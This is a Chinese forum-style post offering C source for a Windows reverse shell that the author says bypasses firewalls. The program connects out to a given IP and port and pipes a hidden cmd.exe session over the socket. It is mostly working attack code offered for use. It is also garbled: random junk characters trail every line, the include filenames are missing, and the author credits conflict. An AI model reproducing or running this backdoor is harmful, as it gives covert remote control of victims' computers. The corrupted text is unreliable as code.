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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .kGg }  
YG!~v~sV  
/* ============================== oTT/;~I  
Rebound port in Windows NT S'vrO}yU  
By wind,2006/7 ->$Do$  
===============================*/ gz Qc  
#include 7s1FJm=Y/  
#include )t&j0`Yq  
$oe:km1-D  
#pragma comment(lib,"wsock32.lib") `epO/Uu\~u  
( *UMpdj  
void OutputShell(); >o%.`)Ar  
SOCKET sClient; c$bb0J%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 45q-x_  
fPa FL}&  
void main(int argc,char **argv) Wyw/imr  
{ D$!(Iae  
WSADATA stWsaData; \:%e 6M  
int nRet; .G4(Ryh  
SOCKADDR_IN stSaiClient,stSaiServer; $5s?m\!jZz  
pma'C\b>  
if(argc != 3) DF P0WXbOE  
{ o-yZ$+V  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,*wa#[  
return; 3g^_Fq'  
} (Lp<T!"  
ENr\+{{%  
WSAStartup(MAKEWORD(2,2),&stWsaData); -Wb/3 X  
fu"#C}{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q% 2cx@c  
&X }GJLC3  
stSaiClient.sin_family = AF_INET; Mx4 <F "9  
stSaiClient.sin_port = htons(0); 4&&((H  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); edx-R-Dc-1  
`og 3P:y  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Zu,rf9LMj  
{ "+~La{ POc  
printf("Bind Socket Failed!\n"); 'K"V{  
return; -1DQO|q#  
} M._9/ *C U  
S[n ;u-U  
stSaiServer.sin_family = AF_INET; ;r B2Q H]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L$=6R3GI  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +.! F]0ju  
xi %u)p  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~C\R!DN,  
{ ,Hlbl}.ls  
printf("Connect Error!"); iqRk\yq<  
return; Y1h8O%?  
} [z5pqd-  
OutputShell(); x9hkE!{8  
} o cotO  
5RrzRAxq  
void OutputShell() [u`v'*0d  
{ \L($;8` \  
char szBuff[1024]; ?h2!Z{[0b  
SECURITY_ATTRIBUTES stSecurityAttributes; }4Ef31X8q  
OSVERSIONINFO stOsversionInfo; "eA4JL\%)  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d %1j4JE{  
STARTUPINFO stStartupInfo; jgQn^  
char *szShell; AvfSR p  
PROCESS_INFORMATION stProcessInformation; +fBbW::R^  
unsigned long lBytesRead; eG55[V<!  
kc Q~}uFB  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |_x U{Pu  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); LZG?M|(6D  
stSecurityAttributes.lpSecurityDescriptor = 0; 3MPmLV#f  
stSecurityAttributes.bInheritHandle = TRUE; k)U9 %Pr  
V^sZXdDNL  
e* {'A  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ha>Hb`  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ka%u#};  
KzZ|{ !C  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); HC_+7O3A  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "#Qqwsw7  
stStartupInfo.wShowWindow = SW_HIDE; Ro\ U T64  
stStartupInfo.hStdInput = hReadPipe; Lq : !?)I  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $Y& 8@/L  
plcz m 2  
GetVersionEx(&stOsversionInfo); mwU|Hh)N]  
!6{; z/Hy  
switch(stOsversionInfo.dwPlatformId) Gi]R8?M  
{ W@Et  
case 1: 0eP7efy  
szShell = "command.com"; <]1Z  
break; T?B753I  
default: 0' j/ 9vm  
szShell = "cmd.exe"; m?G@#[ l  
break; #29m <f_n  
} _ `5?/\7  
$2I^ ;5r[  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4BF \- lq~  
@#m@ .   
send(sClient,szMsg,77,0); )nE=H,U?y  
while(1) \JjZ _R  
{ G(joamfM  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'b1k0 9'  
if(lBytesRead) StZ GKY[Q  
{ mu`:@7+Yp  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); NNDW)@p6z  
send(sClient,szBuff,lBytesRead,0); }h{8i_R  
} {HoeK>rd  
else YytO*^e}}  
{ m/TjXA8_  
lBytesRead=recv(sClient,szBuff,1024,0); e x" E50  
if(lBytesRead<=0) break; L{PH8Xl_  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); IP<]a5  
} >(T)9fKF  
} ?D[9-K4Vn  
SWwL.-+E]  
return; 9vX~gh{]~  
}
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